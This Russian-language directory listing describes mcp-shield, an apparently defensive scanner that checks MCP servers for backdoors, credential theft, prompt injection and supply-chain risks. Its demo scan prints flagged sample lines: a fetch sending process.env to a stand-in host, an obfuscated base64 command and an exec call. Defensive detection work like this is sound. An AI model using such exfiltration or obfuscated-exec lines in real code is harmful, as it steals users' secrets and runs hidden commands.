Skip to main content
Glama

mcp-shield

Сканер безопасности для MCP-серверов — обнаруживайте бэкдоры, эксфильтрацию данных, инъекции промптов и риски цепочки поставок до того, как они достигнут вашего ИИ.

Экосистема MCP быстро растет. Не каждый сервер в npm безопасен. mcp-shield позволяет Claude проверять любой MCP-сервер — локальный или из npm — прежде чем вы доверите ему свои файлы, ключи и контекст.


Что он обнаруживает

Категория

Примеры

Эксфильтрация

process.env, отправленные по сети, доступ к SSH-ключам, чтение учетных данных AWS

Выполнение кода

eval(), new Function(), child_process.exec(), динамический require()

Обфускация

Декодирование Base64 во время выполнения, hex-кодированные полезные нагрузки, массивы char-code

Доступ к конфиденциальным файлам

.env, id_rsa, файлы cookie браузера, ~/.gitconfig

Инъекция промптов

Скрытые инструкции, символы нулевой ширины, атаки со сменой ролей, паттерны джейлбрейка

Цепочка поставок

Возраст пакета, количество скачиваний, количество сопровождающих, CVE в зависимостях


Демо

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Инструменты

Инструмент

Что он делает

scan_package

Скачивает npm MCP-пакет и сканирует его на наличие вредоносных паттернов

scan_directory

Сканирует локальную директорию MCP-сервера (клонированную из GitHub и т.д.)

check_prompt_injection

Проверяет описания инструментов или ответы на наличие скрытых инъекций

audit_supply_chain

Получает оценку доверия, CVE, количество сопровождающих и возраст для любого npm-пакета


Установка

Вариант 1 — npx (без установки)

claude mcp add mcp-shield -- npx mcp-shield

Вариант 2 — глобальная установка

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Вариант 3 — ручная настройка

Добавьте в ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Примеры использования

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

Как это работает

Статический анализ — сканирует исходные файлы JavaScript/TypeScript с помощью библиотеки регулярных выражений, охватывающей более 20 сигнатур атак в 5 категориях.

Аудит цепочки поставок — запрашивает метаданные пакета в реестре npm, а затем запускает npm audit для выявления известных CVE в дереве зависимостей.

Обнаружение инъекций промптов — проверяет описания инструментов и ответы на наличие символов нулевой ширины, переопределений инструкций, атак со сменой ролей и других методов, нацеленных на LLM.

Установка --ignore-scripts — при сканировании npm-пакетов установка выполняется с флагом --ignore-scripts, чтобы во время анализа не запускались вредоносные postinstall-хуки.


Участие в разработке

PR приветствуются. Паттерны обнаружения находятся в src/patterns.ts — добавление новых сигнатур сводится к добавлению одного объекта.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

Лицензия

MIT

Install Server
A
security – no known vulnerabilities
A
license - permissive license
A
quality - A tier

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'

If you have feedback or need assistance with the MCP directory API, please join our Discord server